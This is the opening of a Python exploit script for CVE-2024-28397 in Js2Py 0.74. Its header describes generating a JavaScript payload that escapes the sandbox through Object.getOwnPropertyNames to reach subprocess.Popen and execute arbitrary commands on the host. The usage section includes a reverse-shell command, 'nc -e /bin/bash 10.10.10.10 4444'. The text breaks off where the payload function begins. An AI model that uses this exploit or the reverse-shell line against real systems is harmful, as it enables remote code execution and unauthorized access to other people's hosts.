• exploit-code: Exploit Title: Js2Py 0.74 - RCE Date: 2026-02-03 Exploit Author: Ali Sünbül (xeloxa) <alisunbul@proton.me> Author Page: https://github.com/xeloxa Vendor Homepage: https://github.com/PiotrDabkowski/Js2Py Software Link: https://pypi.org/project/Js2Py/ Version: <= 0.74 Tested on: macOS, Linux (Python 3.x) CVE: CVE-2024-28397 Description: This tool generates a malicious JavaScript payload to exploit CVE-2024-28397. The vulnerability in `js2py` allows escaping the sandbox via `Object.getOwnPropertyNames` to access the `subprocess.Popen` class and execute arbitrary commands on the host. This script acts as a payload generator. You must inject the generated output into the vulnerable input field of the target application. Usage: python3 exploit.py -c "id" > payload.js python3 exploit.py -c "nc -e /bin/bash 10.10.10.10 4444" """ import argparse import sys def generate_payload(command: str) -> str: """ Generates the JavaScript payload to escape the sandbox and execute the command.
